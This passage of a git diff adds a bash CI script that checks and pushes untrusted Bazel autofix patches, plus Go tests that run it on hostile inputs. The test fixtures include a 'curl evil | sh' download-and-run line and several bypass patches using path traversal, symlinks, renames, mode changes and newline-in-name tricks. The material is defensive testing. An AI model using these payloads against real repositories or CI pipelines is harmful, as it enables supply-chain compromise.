--summary is git's own view of creations, deletions, renames, copies, + # mode changes and rewrites; only 100644 creations/deletions may appear. + if ! names="$(git apply --summary "$file")"; then + echo "REFUSED: git apply cannot parse the patch." + return 1 + fi + while IFS= read -r line; do + case "$line" in + "") continue ;; + " create mode 100644 "*) path="${line# create mode 100644 }" ;; + " delete mode 100644 "*) path="${line# delete mode 100644 }" ;; + *) + echo "REFUSED: patch summary has an unexpected entry: $line" + return 1 + ;; + esac + path_allowed "$path" || bad="${bad} ${path}\n" + done <<<"$names" + # --numstat -z prints "addeddeletedNAME" with NAME raw + # (never quoted) and, for a rename, only the NEW name - hence the header + # and --summary checks above. The last read field keeps any tab/newline. + names="$(mktemp)" + if ! git apply --numstat -z "$file" >"$names"; then + rm -f "$names" + echo "REFUSED: git apply cannot parse the patch." + return 1 + fi + while IFS=$'\t' read -r -d '' _ _ path; do + count=$((count + 1)) + path_allowed "$path" || bad="${bad} ${path}\n" + done <"$names" + rm -f "$names" + if [ "$count" -eq 0 ]; then + echo "REFUSED: patch names no files." + return 1 + fi + if [ -n "$bad" ]; then + printf 'REFUSED: patch touches paths outside the allowlist:\n%b' "$bad" + return 1 + fi +} + +# check_staged COMMIT: the index (after git apply --cached) differs from +# COMMIT only by regular-file adds/edits/deletes of allowlisted paths. Sets +# STAGED_PATHS. Shared verbatim with docs-autofix-push.sh. +check_staged() { + local base="$1" meta path raw src_mode dst_mode status err="" + STAGED_PATHS=() + raw="$(mktemp)" + # -z --raw records: ":SRCMODE DSTMODE SRCSHA DSTSHA STATUSPATH". + git_ diff-index --cached --raw --no-renames -z "$base" >"$raw" + while IFS= read -r -d '' meta && IFS= read -r -d '' path; do + read -r src_mode dst_mode _ _ status <<<"$meta" + case "$src_mode $dst_mode $status" in + ":100644 100644 M" | ":000000 100644 A" | ":100644 000000 D") ;; + *) err="REFUSED: staged change is not a regular-file edit: $meta $path" && break ;; + esac + if ! path_allowed "$path"; then + err="REFUSED: staged change outside the allowlist: $meta $path" && break + fi + STAGED_PATHS+=("$path") + done <"$raw" + rm -f -- "$raw" + if [ -n "$err" ]; then + echo "$err" + return 1 + fi +} + +if [ "${1:-}" = "--check" ]; then + [ -s "${2:-}" ] || { echo "usage: $0 --check " >&2; exit 2; } + validate_patch "$2" + echo "OK: patch touches only allowlisted Bazel build files." + exit 0 +fi + +if [ -z "${HEAD_REPO:-}" ] || [ -z "${HEAD_BRANCH:-}" ]; then + echo "Head repository/branch unavailable (deleted fork?); nothing to do." + exit 0 +fi +: "${BASE_REPO:?}" "${HEAD_SHA:?}" +: "${PATCH_FILE:?}" "${RUN_ID:?}" "${RUN_URL:?}" "${GH_TOKEN:?}" +AUTOFIX_TOKEN_KIND="${AUTOFIX_TOKEN_KIND:-default}" +PUSH_TOKEN="${PUSH_TOKEN:-$GH_TOKEN}" + +if [ ! -s "$PATCH_FILE" ]; then + echo "No patch content; nothing to do." + exit 0 +fi +PATCH_FILE="$(readlink -f "$PATCH_FILE")" +if ! [[ "$HEAD_SHA" =~ ^[0-9a-f]{40}$ ]]; then + echo "HEAD_SHA is not a commit id: $HEAD_SHA" >&2 + exit 1 +fi + +# --- Validate the untrusted patch -------------------------------------------- + +validate_patch "$PATCH_FILE" + +# The metadata can only veto or narrow: a patch built for another head is not +# ours, and its PR number only picks among PRs that already match the event. +META_PR="" +if [ -n "${META_FILE:-}" ] && [ -f "$META_FILE" ]; then + meta_sha="$(sed -n 's/^head_sha=\([0-9a-f]\{40\}\)$/\1/p' "$META_FILE" | head -1)" + if [ -n "$meta_sha" ] && [ "$meta_sha" != "$HEAD_SHA" ]; then + echo "Patch was built for head $meta_sha, not $HEAD_SHA; skipping." + exit 0 + fi + META_PR="$(sed -n 's/^pr=\([1-9][0-9]\{0,9\}\)$/\1/p' "$META_FILE" | head -1)" +fi + +# --- Resolve the PR and confirm the patch is still current ------------------- + +# List-and-filter client side: branch names with URL metacharacters would +# corrupt a ?head= query string, and jq --arg needs no encoding. The PR must +# target this repository. One head branch can back several open PRs (into +# different bases): the metadata's PR number picks among them, and without +# it an ambiguous match is skipped rather than guessed. +PULLS_JSON="$(gh api --paginate "repos/$BASE_REPO/pulls?state=open&per_page=100")" +PR_MATCH="$(printf '%s' "$PULLS_JSON" | jq -r -s --arg repo "$HEAD_REPO" --arg branch "$HEAD_BRANCH" --arg base "$BASE_REPO" --arg pr "$META_PR" \ + 'add | [ .[] | select(.head.ref == $branch and (.head.repo.full_name // "") == $repo + and (.base.repo.full_name // "") == $base) + | select($pr == "" or (.number | tostring) == $pr) ] + | if length == 1 then .[0] | "\(.number)\t\(.head.sha)\t\(.base.ref)" else "\(length)" end')" +case "$PR_MATCH" in + 0) + echo "No open PR for $HEAD_REPO:$HEAD_BRANCH into $BASE_REPO${META_PR:+ numbered #$META_PR}; nothing to do." + exit 0 + ;; + *$'\t'*) IFS=$'\t' read -r PR_NUMBER PR_HEAD_NOW PR_BASE_REF <<<"$PR_MATCH" ;; + *) + echo "$PR_MATCH open PRs use $HEAD_REPO:$HEAD_BRANCH and the patch names none of them; not guessing." + exit 0 + ;; +esac +if [ "$PR_HEAD_NOW" != "$HEAD_SHA" ]; then + echo "PR #$PR_NUMBER head moved ($HEAD_SHA -> $PR_HEAD_NOW); a newer run owns the fix." + exit 0 +fi + +# post_or_update_comment BODY_FILE: edit our own marker comment, else post. +# Shared verbatim with docs-autofix-push.sh. +post_or_update_comment() { + local body_file="$1" + # Capture fully before taking the first id: head -1 on a live --paginate + # stream SIGPIPEs gh under pipefail. + local ids existing + ids="$(gh api --paginate "repos/$BASE_REPO/issues/$PR_NUMBER/comments" \ + --jq ".[] | select(.user.login == \"$COMMENT_AUTHOR\" and (.body | startswith(\"$COMMENT_MARKER\"))) | .id")" + existing="$(printf '%s\n' "$ids" | head -1)" + if [ -n "$existing" ]; then + gh api --method PATCH "repos/$BASE_REPO/issues/comments/$existing" \ + -F body=@"$body_file" >/dev/null + echo "Updated autofix comment $existing on PR #$PR_NUMBER." + else + gh api --method POST "repos/$BASE_REPO/issues/$PR_NUMBER/comments" \ + -F body=@"$body_file" >/dev/null + echo "Posted autofix comment on PR #$PR_NUMBER." + fi +} + +# head_branch_protected: true unless GitHub itself says HEAD_BRANCH has no +# branch protection and no ruleset; an API error counts as protected. The name +# list is a floor, not the check. Shared verbatim with docs-autofix-push.sh. +head_branch_protected() { + local enc protected rules + case "$HEAD_BRANCH" in + main | release/* | gh-readonly-queue/*) return 0 ;; + esac + enc="$(jq -rn --arg b "$HEAD_BRANCH" '$b | @uri')" + protected="$(gh api "repos/$BASE_REPO/branches/$enc" --jq '.protected' 2>/dev/null)" || return 0 + [ "$protected" = "false" ] || return 0 + rules="$(gh api "repos/$BASE_REPO/rules/branches/$enc" --jq 'length' 2>/dev/null)" || return 0 + [ "$rules" = "0" ] || return 0 + return 1 +} + +comment_fallback() { + local reason="$1" + local body + body="$(mktemp)" + cat > "$body" </dev/null; then + echo "Head $HEAD_SHA no longer reachable on $BASE_REPO/$HEAD_BRANCH; skipping." + exit 0 +fi + +# Attribute the patch to the PR: bazel.yml builds the PR MERGE commit, so the +# patch also carries any drift main has. Only files the PR's own changes +# (merge-base..head) can explain are pushed: +# * D/BUILD.bazel when the PR changed a file whose nearest package (the +# closest directory with a BUILD.bazel) is D; for the root package only +# root-level Go/build inputs count, not every path outside a package; +# * MODULE.bazel / MODULE.bazel.lock when it changed go.mod, go.sum or either +# MODULE file; +# * everything when it changed the sync tooling (tools/bazel/, root BUILD.bazel). +MERGE_BASE="$(git_ merge-base refs/autofix/base "$HEAD_SHA" 2>/dev/null || true)" +if [ -z "$MERGE_BASE" ]; then + cd / && comment_fallback "CI could not tell which files this PR changed" + exit 0 +fi +declare -A PKG_DIRS=() PR_PKGS=() +PR_ALL=0 PR_MODULE=0 +while IFS= read -r -d '' path; do + case "$path" in + BUILD.bazel) PKG_DIRS[.]=1 ;; + */BUILD.bazel) PKG_DIRS["${path%/BUILD.bazel}"]=1 ;; + esac +done < <(git_ ls-tree -r -z --name-only "$HEAD_SHA") +PATCH_PATHS=() +while IFS=$'\t' read -r -d '' _ _ path; do + PATCH_PATHS+=("$path") + case "$path" in */BUILD.bazel) PKG_DIRS["${path%/BUILD.bazel}"]=1 ;; esac +done < <(git apply --numstat -z "$PATCH_FILE") +PKG_DIRS[.]=1 +while IFS= read -r -d '' path; do + case "$path" in + go.mod | go.sum | MODULE.bazel | MODULE.bazel.lock) PR_MODULE=1 ;; + BUILD.bazel | tools/bazel/*) PR_ALL=1 ;; + esac + dir="$(dirname -- "$path")" + while [ -z "${PKG_DIRS[$dir]:-}" ]; do dir="$(dirname -- "$dir")"; done + # The walk ends at the root for every path outside a package (docs/, + # .github/, README.md, ...); only the root's own Go and build inputs + # can change what gazelle writes to the root BUILD.bazel. + if [ "$dir" = . ]; then + case "$path" in + */*) continue ;; + *.go | *.s | *.c | *.h | *.bzl | go.mod | go.sum | BUILD.bazel | MODULE.bazel | MODULE.bazel.lock) ;; + *) continue ;; + esac + fi + PR_PKGS["$dir"]=1 +done < <(git_ diff --name-only --no-renames -z "$MERGE_BASE" "$HEAD_SHA") + +OURS=() NOT_OURS=() +for path in "${PATCH_PATHS[@]}"; do + case "$path" in + MODULE.bazel | MODULE.bazel.lock) pkg="" ours=$PR_MODULE ;; + BUILD.bazel) pkg=. ours=0 ;; + *) pkg="${path%/BUILD.bazel}" ours=0 ;; + esac + if [ "$PR_ALL" = 1 ] || [ "$ours" = 1 ] || { [ -n "$pkg" ] && [ -n "${PR_PKGS[$pkg]:-}" ]; }; then + OURS+=("$path") + else + NOT_OURS+=("$path") + fi +done +NOT_OURS_NOTE="" +if [ "${#NOT_OURS[@]}" -gt 0 ]; then + echo "Not pushed (outside what the PR changed, likely base-branch drift):" + printf ' %s\n' "${NOT_OURS[@]}" + NOT_OURS_NOTE="Not pushed, because this PR did not change those packages (likely drift on the base branch; rebasing after it is fixed clears it): $(printf '%s ' "${NOT_OURS[@]}")" +fi +if [ "${#OURS[@]}" -eq 0 ]; then + cd / && comment_fallback "the drift is in files this PR did not change - most likely the base branch is out of sync, so no fix was pushed" + exit 0 +fi + +INCLUDES=() +for path in "${OURS[@]}"; do INCLUDES+=("--include=$path"); done +git_ read-tree "$HEAD_SHA" +if ! git_ -c "$AUTH_CONFIG" apply --cached "${INCLUDES[@]}" "$PATCH_FILE" 2>/dev/null; then + cd / && comment_fallback "the sync patch no longer applies cleanly to the PR head" + exit 0 +fi + +# Belt and braces: what actually got staged must pass the same rules, and +# only include the files attributed to the PR. +check_staged "$HEAD_SHA" +declare -A OURS_SET=() +for path in "${OURS[@]}"; do OURS_SET["$path"]=1; done +for path in "${STAGED_PATHS[@]}"; do + if [ -z "${OURS_SET[$path]:-}" ]; then + echo "REFUSED: staged change not attributed to the PR: $path" + exit 1 + fi +done +if [ "${#STAGED_PATHS[@]}" -eq 0 ]; then + echo "Patch changes nothing on $HEAD_SHA; nothing to push." + exit 0 +fi + +# Circuit breaker, once the PR's own fix is known to be non-empty: if the +# failing head is already one of our autofix commits, the sync is not +# converging - stacking more bot commits would loop. Read from the fetched +# commit (no API); failing to read it counts as non-convergent. +if ! HEAD_SUBJECT="$(git_ log -1 --format=%s "$HEAD_SHA")" || [[ "$HEAD_SUBJECT" == "$AUTOFIX_SUBJECT"* ]]; then + echo "Head $HEAD_SHA is (or may be) an autofix commit; refusing to stack another." + cd / && comment_fallback "the previous auto-fix commit did not fix this PR's own files - please run make bazel-sync on the branch and commit the result" + exit 0 +fi + +TREE="$(git_ write-tree)" +NEW_SHA="$(GIT_AUTHOR_NAME="github-actions[bot]" GIT_COMMITTER_NAME="github-actions[bot]" \ + GIT_AUTHOR_EMAIL="41898282+github-actions[bot]@users.noreply.github.com" \ + GIT_COMMITTER_EMAIL="41898282+github-actions[bot]@users.noreply.github.com" \ + git_ commit-tree "$TREE" -p "$HEAD_SHA" -m "$AUTOFIX_SUBJECT + +Applied from the bazel-sync-patch artifact of $RUN_URL +(\`make bazel-sync\`: gazelle, tools/bazel/go_srcs.py, bazel mod tidy). +Only BUILD.bazel, MODULE.bazel and MODULE.bazel.lock are ever pushed; see +scripts/bazel-autofix-push.sh.")" + +# Leased to HEAD_SHA: if the branch moved at all since the run (including a +# force-push back to an ancestor), the push is refused rather than resurrecting +# commits the author dropped. +if ! git_ -c "$AUTH_CONFIG" push --quiet \ + "--force-with-lease=refs/heads/$HEAD_BRANCH:$HEAD_SHA" \ + origin "$NEW_SHA:refs/heads/$HEAD_BRANCH"; then + cd / + comment_fallback "pushing the fix to $HEAD_BRANCH failed (branch protection or a concurrent push)" + exit 0 +fi +cd / + +echo "Pushed sync commit $NEW_SHA to $BASE_REPO/$HEAD_BRANCH." + +BODY="$(mktemp)" +cat > "$BODY" <> "$BODY" +fi +if [ "$AUTOFIX_TOKEN_KIND" = "default" ]; then + cat >> "$BODY" <<'EOF' + +Note: this commit was pushed with the default workflow token, which does **not** retrigger PR checks - re-run them (or push any commit) to refresh the gate. Configuring the `DOCS_AUTOFIX_TOKEN` repo secret (shared with the docs autofix) removes this step. +EOF +fi +post_or_update_comment "$BODY" +rm -f "$BODY" diff --git a/scripts/bazel_autofix_push_test.go b/scripts/bazel_autofix_push_test.go new file mode 100644 index 000000000..646c34ee6 --- /dev/null +++ b/scripts/bazel_autofix_push_test.go @@ -0,0 +1,1191 @@ +package scripts_test + +import ( + "archive/zip" + "fmt" + "os" + "os/exec" + "path/filepath" + "strings" + "testing" +) + +// scripts/bazel-autofix-push.sh and scripts/docs-autofix-push.sh run with a +// write token on untrusted patches. These tests feed them real `git diff` +// output (the good case, and every hostile shape the validator exists for) +// and run the full push/comment flow against a local bare repository standing +// in for github.com and a fake gh. + +const docsAutofixPushScript = "scripts/docs-autofix-push.sh" + +// autofixRepo is a repository with a "main" branch (base) and a PR head +// commit on top of it (head); patches are made against head. +type autofixRepo struct { + t *testing.T + git string + dir string + base string + head string +} + +func newAutofixRepo(t *testing.T, files map[string]string, pr func(r *autofixRepo)) *autofixRepo { + t.Helper() + git := requireHostTool(t, "git") + requireAutofixBash(t) + r := &autofixRepo{t: t, git: git, dir: t.TempDir()} + r.run("init", "-q", "-b", "main") + r.run("config", "user.name", "t") + r.run("config", "user.email", "t@example.invalid") + r.run("config", "core.hooksPath", ".git/hooks") + for path, body := range files { + r.write(path, body) + } + r.run("add", "-A") + r.run("commit", "-q", "-m", "base") + r.base = strings.TrimSpace(r.run("rev-parse", "HEAD")) + r.head = r.commit("pr", pr) + return r +} + +// newBazelAutofixRepo: the PR edits cmd/bd and adds internal/newpkg; other/ +// is a package it does not touch. The root is a Go package (beads.go) with +// non-package paths (docs/, README.md) under it. +func newBazelAutofixRepo(t *testing.T) *autofixRepo { + return newAutofixRepo(t, map[string]string{ + "BUILD.bazel": "# root\n", + "beads.go": "package beads\n", + "README.md": "# beads\n", + "docs/guide.md": "# guide\n", + "MODULE.bazel": "module(name = \"beads\")\n", + "MODULE.bazel.lock": "{}\n", + "go.mod": "module example.com/beads\n", + "cmd/bd/BUILD.bazel": "go_library(name = \"bd\")\n", + "cmd/bd/main.go": "package main\n", + "other/BUILD.bazel": "go_library(name = \"other\")\n", + "other/other.go": "package other\n", + ".github/workflows/ci.yml": "name: CI\n", + "scripts/tool.sh": "echo hi\n", + "third_party/patches/BUILD.bazel": "exports_files([])\n", + }, func(r *autofixRepo) { + r.write("cmd/bd/main.go", "package main\n\nimport _ \"example.com/beads/internal/newpkg\"\n") + r.write("internal/newpkg/newpkg.go", "package newpkg\n") + }) +} + +func newDocsAutofixRepo(t *testing.T) *autofixRepo { + return newAutofixRepo(t, map[string]string{ + "docs/CLI_REFERENCE.md": "# CLI\n", + "docs/docs.json": "{}\n", + "docs/cli-reference/bd.md": "# bd\n", + "scripts.sh": "echo hi\n", + ".github/workflows/ci.yml": "name: CI\n", + "cmd/bd/main.go": "package main\n", + }, func(r *autofixRepo) { + r.write("cmd/bd/main.go", "package main // new flag\n") + }) +} + +func (r *autofixRepo) run(args ...string) string { + r.t.Helper() + cmd := exec.Command(r.git, args...) + cmd.Dir = r.dir + cmd.Env = append(os.Environ(), "GIT_CONFIG_NOSYSTEM=1", "GIT_CONFIG_GLOBAL=/dev/null") + out, err := cmd.CombinedOutput() + if err != nil { + r.t.Fatalf("git %v: %v\n%s", args, err, out) + } + return string(out) +} + +func (r *autofixRepo) write(path, body string) { + r.t.Helper() + full := filepath.Join(r.dir, path) + if err := os.MkdirAll(filepath.Dir(full), 0o755); err != nil { + r.t.Fatal(err) + } + if err := os.WriteFile(full, []byte(body), 0o644); err != nil { + r.t.Fatal(err) + } +} + +// commit records edit as a commit on top of the current HEAD, on branch +// name, and returns its id. +func (r *autofixRepo) commit(name string, edit func(r *autofixRepo)) string { + return r.commitMsg(name, name, edit) +} + +func (r *autofixRepo) commitMsg(name, msg string, edit func(r *autofixRepo)) string { + r.t.Helper() + edit(r) + r.run("add", "-A") + r.run("commit", "-q", "-m", msg) + sha := strings.TrimSpace(r.run("rev-parse", "HEAD")) + r.run("branch", "-f", "autofix-test-"+name, sha) + return sha +} + +// variant commits edit on top of the PR head without moving it. +func (r *autofixRepo) variant(name string, edit func(r *autofixRepo)) string { + return r.commitOn(r.head, name, name, edit) +} + +// commitOn commits edit, with subject msg, on top of parent and returns to +// the PR head. +func (r *autofixRepo) commitOn(parent, name, msg string, edit func(r *autofixRepo)) string { + r.t.Helper() + r.run("checkout", "-q", "--detach", parent) + sha := r.commitMsg(name, msg, edit) + r.run("checkout", "-q", "--detach", r.head) + return sha +} + +// patch applies edit to a clean PR-head tree, returns the staged diff as a +// patch file and resets the tree. +func (r *autofixRepo) patch(edit func()) string { + r.t.Helper() + r.run("checkout", "-q", "--detach", r.head) + edit() + r.run("add", "-A") + diff := r.run("diff", "--cached", "--binary") + r.run("reset", "-q", "--hard", r.head) + r.run("clean", "-qfdx") + return writeRawPatch(r.t, diff) +} + +func writeRawPatch(t *testing.T, body string) string { + t.Helper() + file := filepath.Join(t.TempDir(), "autofix.patch") + if err := os.WriteFile(file, []byte(body), 0o644); err != nil { + t.Fatal(err) + } + return file +} + +// requireAutofixBash skips when bash cannot run the autofix scripts: they run +// on Linux runners and use bash 4 associative arrays, and macOS runners ship +// /bin/bash 3.2. +func requireAutofixBash(t *testing.T) { + t.Helper() + requireHostTool(t, "bash") + if err := exec.Command("bash", "-c", "declare -A probe=()").Run(); err != nil { + t.Skip("bash lacks associative arrays (bash >= 4 required)") + } +} + +func runAutofixCheck(t *testing.T, script, dir, patch string) (string, error) { + t.Helper() + requireAutofixBash(t) + if !filepath.IsAbs(script) { + script = filepath.Join(sourceRepoRoot(t), script) + } + cmd := exec.Command("bash", script, "--check", patch) + cmd.Dir = dir + out, err := cmd.CombinedOutput() + return string(out), err +} + +// Hostile patch shapes that do not depend on the allowlist: the reviewer's +// rename/copy/index-mode bypasses, with an allowlisted target (target) and a +// forbidden source (source). +func hostileHeaderPatches(t *testing.T, source, target string) map[string]string { + return map[string]string{ + // git apply accepts the legacy headers; --numstat then names only the + // new (allowlisted) path. + "legacy rename old/new": writeRawPatch(t, "diff --git a/"+source+" b/"+target+"\n"+ + "rename old "+source+"\nrename new "+target+"\n"), + "rename from/to without similarity": writeRawPatch(t, "diff --git a/"+source+" b/"+target+"\n"+ + "rename from "+source+"\nrename to "+target+"\n"), + "copy from/to": writeRawPatch(t, "diff --git a/"+source+" b/"+target+"\n"+ + "copy from "+source+"\ncopy to "+target+"\n"), + "legacy rename with hunk": writeRawPatch(t, "diff --git a/"+source+" b/"+target+"\n"+ + "rename old "+source+"\nrename new "+target+"\n--- a/"+source+"\n+++ b/"+target+"\n@@ -1 +1 @@\n-x\n+y\n"), + "non-hex index mode": writeRawPatch(t, "diff --git a/"+target+" b/"+target+"\n"+ + "index zz..yy 100755\n--- a/"+target+"\n+++ b/"+target+"\n@@ -1 +1 @@\n-x\n+y\n"), + "index mode 100755": writeRawPatch(t, "diff --git a/"+target+" b/"+target+"\n"+ + "index 1234567..89abcde 100755\n--- a/"+target+"\n+++ b/"+target+"\n@@ -1 +1 @@\n-x\n+y\n"), + "index symlink mode": writeRawPatch(t, "diff --git a/"+target+" b/"+target+"\n"+ + "index 1234567..89abcde 120000\n--- a/"+target+"\n+++ b/"+target+"\n@@ -1 +1 @@\n-x\n+y\n"), + "index line with trailing junk": writeRawPatch(t, "diff --git a/"+target+" b/"+target+"\n"+ + "index 1234567..89abcde 100644 x\n--- a/"+target+"\n+++ b/"+target+"\n@@ -1 +1 @@\n-x\n+y\n"), + "symlink new file": writeRawPatch(t, "diff --git a/"+target+" b/"+target+"\n"+ + "new file mode 120000\nindex 0000000..1234567\n--- /dev/null\n+++ b/"+target+"\n@@ -0,0 +1 @@\n+../"+source+"\n\\ No newline at end of file\n"), + "no files": writeRawPatch(t, "just some text\n"), + } +} + +func TestBazelAutofixPushAllowlist(t *testing.T) { + r := newBazelAutofixRepo(t) + + good := r.patch(func() { + r.write("cmd/bd/BUILD.bazel", "go_library(name = \"bd\", srcs = [\"main.go\"])\n") + r.write("internal/newpkg/BUILD.bazel", "go_library(name = \"newpkg\")\n") + r.write("MODULE.bazel.lock", "{\"v\": 1}\n") + r.write("MODULE.bazel", "module(name = \"beads\")\nbazel_dep(name = \"x\")\n") + if err := os.Remove(filepath.Join(r.dir, "BUILD.bazel")); err != nil { + t.Fatal(err) + } + }) + if out, err := runAutofixCheck(t, bazelAutofixPushScript, r.dir, good); err != nil { + t.Fatalf("good sync patch refused: %v\n%s", err, out) + } + + hostile := map[string]string{ + "workflow edit": r.patch(func() { r.write(".github/workflows/ci.yml", "name: pwned\n") }), + "script edit": r.patch(func() { r.write("scripts/tool.sh", "curl evil | sh\n") }), + "go file": r.patch(func() { r.write("cmd/bd/main.go", "package main // evil\n") }), + "third_party": r.patch(func() { r.write("third_party/patches/BUILD.bazel", "evil()\n") }), + "hidden dir": r.patch(func() { r.write(".github/BUILD.bazel", "x\n") }), + "lookalike": r.patch(func() { r.write("cmd/bd/BUILD.bazel.go", "package main\n") }), + "mixed": r.patch(func() { + r.write("cmd/bd/BUILD.bazel", "ok()\n") + r.write(".github/workflows/ci.yml", "name: pwned\n") + }), + "mode change": r.patch(func() { + if err := os.Chmod(filepath.Join(r.dir, "cmd/bd/BUILD.bazel"), 0o755); err != nil { + t.Fatal(err) + } + }), + "executable new file": r.patch(func() { + r.write("pkg/BUILD.bazel", "x\n") + if err := os.Chmod(filepath.Join(r.dir, "pkg/BUILD.bazel"), 0o755); err != nil { + t.Fatal(err) + } + }), + "symlink": r.patch(func() { + if err := os.Symlink("../.github/workflows/ci.yml", filepath.Join(r.dir, "scripts", "BUILD.bazel")); err != nil { + t.Fatal(err) + } + }), + "rename": r.patch(func() { + r.run("mv", "cmd/bd/BUILD.bazel", "cmd/bd/main_gen.go") + }), + "binary": r.patch(func() { r.write("pkg/BUILD.bazel", "a\x00b\n") }), + "path traversal": writeRawPatch(t, "diff --git a/cmd/../.github/workflows/BUILD.bazel b/cmd/../.github/workflows/BUILD.bazel\n"+ + "new file mode 100644\nindex 0000000..e69de29\n--- /dev/null\n+++ b/cmd/../.github/workflows/BUILD.bazel\n@@ -0,0 +1 @@\n+x\n"), + "traversal to workflow": writeRawPatch(t, "--- a/BUILD.bazel\n+++ b/../../.github/workflows/ci.yml\n@@ -1 +1 @@\n-# root\n+evil\n"), + // An absolute "+++ /x/BUILD.bazel" is re-rooted by -p1 (to x/BUILD.bazel) + // and then allowlisted like any other path, so it needs no case here. + "traversal via -p1": writeRawPatch(t, "--- /dev/null\n+++ /../.github/BUILD.bazel\n@@ -0,0 +1 @@\n+x\n"), + "header mismatch": writeRawPatch(t, "diff --git a/BUILD.bazel b/BUILD.bazel\nindex 1..2 100644\n--- a/BUILD.bazel\n+++ b/.github/workflows/ci.yml\n@@ -1 +1 @@\n-# root\n+evil\n"), + // A newline inside a name would split a newline-separated numstat + // into two allowlisted-looking lines. + "newline in name": writeRawPatch(t, "diff --git \"a/BUILD.bazel\\n1\\t0\\tBUILD.bazel\" \"b/BUILD.bazel\\n1\\t0\\tBUILD.bazel\"\n"+ + "new file mode 100644\nindex 0000000..e69de29\n--- /dev/null\n+++ \"b/BUILD.bazel\\n1\\t0\\tBUILD.bazel\"\n@@ -0,0 +1 @@\n+x\n"), + } + for name, patch := range hostileHeaderPatches(t, ".github/workflows/ci.yml", "foo/BUILD.bazel") { + hostile[name] = patch + } + for name, patch := range hostile { + t.Run(name, func(t *testing.T) { + out, err := runAutofixCheck(t, bazelAutofixPushScript, r.dir, patch) + if err == nil || !strings.Contains(out, "REFUSED") { + body, _ := os.ReadFile(patch) + t.Errorf("hostile patch accepted (err=%v):\n%s\n--- patch ---\n%s", err, out, body) + } + }) + } +} + +func TestDocsAutofixPushAllowlist(t *testing.T) { + r := newDocsAutofixRepo(t) + good := r.patch(func() { + r.write("docs/CLI_REFERENCE.md", "# CLI\n\nnew flag\n") + r.write("docs/cli-reference/bd-new.md", "# new\n") + r.write("docs/docs.json", "{\"a\": 1}\n") + }) + if out, err := runAutofixCheck(t, docsAutofixPushScript, r.dir, good); err != nil { + t.Fatalf("good docs patch refused: %v\n%s", err, out) + } + hostile := map[string]string{ + "workflow edit": r.patch(func() { r.write(".github/workflows/ci.yml", "name: pwned\n") }), + "script edit": r.patch(func() { r.write("scripts.sh", "curl evil | sh\n") }), + "nested": r.patch(func() { r.write("docs/cli-reference/a/b.md", "x\n") }), + // The reviewer's end-to-end bypass on main: scripts.sh renamed to + // an allowlisted doc name. + "rename script to doc": r.patch(func() { + r.run("mv", "scripts.sh", "docs/cli-reference/x.md") + }), + "mode change": r.patch(func() { + if err := os.Chmod(filepath.Join(r.dir, "docs/docs.json"), 0o755); err != nil { + t.Fatal(err) + } + }), + "binary": r.patch(func() { r.write("docs/cli-reference/bin.md", "a\x00b\n") }), + } + for name, patch := range hostileHeaderPatches(t, "scripts.sh", "docs/cli-reference/x.md") { + hostile[name] = patch + } + for name, patch := range hostile { + t.Run(name, func(t *testing.T) { + out, err := runAutofixCheck(t, docsAutofixPushScript, r.dir, patch) + if err == nil || !strings.Contains(out, "REFUSED") { + body, _ := os.ReadFile(patch) + t.Errorf("hostile patch accepted (err=%v):\n%s\n--- patch ---\n%s", err, out, body) + } + }) + } +} + +// fakeGH writes a gh stand-in that serves canned API responses from env, +// applies --jq like gh does, and logs every call (with comment bodies) to +// $FAKE_GH_LOG. A call whose endpoint contains $FAKE_GH_FAIL fails. +func fakeGH(t *testing.T) string { + t.Helper() + requireHostTool(t, "jq") + bin := t.TempDir() + script := `#!/usr/bin/env bash +set -euo pipefail +echo "gh $*" >> "$FAKE_GH_LOG" +method=GET jq_expr="" path="" +while [ $# -gt 0 ]; do + case "$1" in + api | --paginate) ;; + --method) method="$2"; shift ;; + --jq) jq_expr="$2"; shift ;; + -F | -f) + case "$2" in body=@*) { echo "--- body"; cat "${2#body=@}"; } >> "$FAKE_GH_LOG" ;; esac + shift ;; + *) path="$1" ;; + esac + shift +done +if [ -n "${FAKE_GH_FAIL:-}" ] && [[ "$path" == *"$FAKE_GH_FAIL"* ]]; then + echo "gh: HTTP 500" >&2 + exit 1 +fi +out='{}' +case "$method $path" in + "GET "*"/pulls?state=open"*) out="$FAKE_PULLS" ;; + "GET "*/commits/*) out="$(jq -n --arg m "${FAKE_HEAD_MSG:-feat: add a file}" '{commit: {message: $m}}')" ;; + "GET "*/comments) out="${FAKE_COMMENTS:-[]}" ;; + "GET "*/rules/branches/*) out="${FAKE_RULES:-[]}" ;; + "GET "*/branches/*) out="${FAKE_BRANCH:-}"; [ -n "$out" ] || out='{"protected": false}' ;; +esac +if [ -n "$jq_expr" ]; then + printf '%s' "$out" | jq -r "$jq_expr" +else + printf '%s' "$out" +fi +` + if err := os.WriteFile(filepath.Join(bin, "gh"), []byte(script), 0o755); err != nil { + t.Fatal(err) + } + return bin +} + +type autofixFlowResult struct { + out, log, remote string + head, branch string + err error +} + +type autofixFlow struct { + script string // repo-relative, or absolute for a modified copy + headRepo string + branch string + headSHA string // PR head (defaults to r.head) + remoteAt string // where the remote branch points (defaults to headSHA) + patch string + baseRepo string // the PR's base repo in the pulls listing + pulls string // open-PR listing (defaults to PR #7 for this head) + env []string +} + +func (r *autofixRepo) runFlow(t *testing.T, f autofixFlow) autofixFlowResult { + t.Helper() + if f.headRepo == "" { + f.headRepo = "owner/beads" + } + if f.branch == "" { + f.branch = "feature/x" + } + if f.headSHA == "" { + f.headSHA = r.head + } + if f.remoteAt == "" { + f.remoteAt = f.headSHA + } + if f.baseRepo == "" { + f.baseRepo = "owner/beads" + } + script := f.script + if !filepath.IsAbs(script) { + script = filepath.Join(sourceRepoRoot(t), script) + } + github := t.TempDir() + remote := filepath.Join(github, "owner", "beads.git") + r.run("clone", "-q", "--bare", r.dir, remote) + r.run("--git-dir="+remote, "branch", "-f", "main", r.base) + r.run("--git-dir="+remote, "branch", "-f", f.branch, f.remoteAt) + gitconfig := filepath.Join(t.TempDir(), "gitconfig") + if err := os.WriteFile(gitconfig, []byte("[url \"file://"+github+"/\"]\n\tinsteadOf = https://github.com/\n"+ + "[uploadpack]\n\tallowFilter = true\n[protocol \"file\"]\n\tallow = always\n"), 0o644); err != nil { + t.Fatal(err) + } + log := filepath.Join(t.TempDir(), "gh.log") + pulls := f.pulls + if pulls == "" { + pulls = "[" + pullJSON(7, f.branch, f.headSHA, f.headRepo, "main", f.baseRepo) + "]" + } + cmd := exec.Command("bash", script) + cmd.Dir = t.TempDir() + cmd.Env = append([]string{ + "PATH=" + fakeGH(t) + string(os.PathListSeparator) + os.Getenv("PATH"), + "HOME=" + t.TempDir(), + "GIT_CONFIG_GLOBAL=" 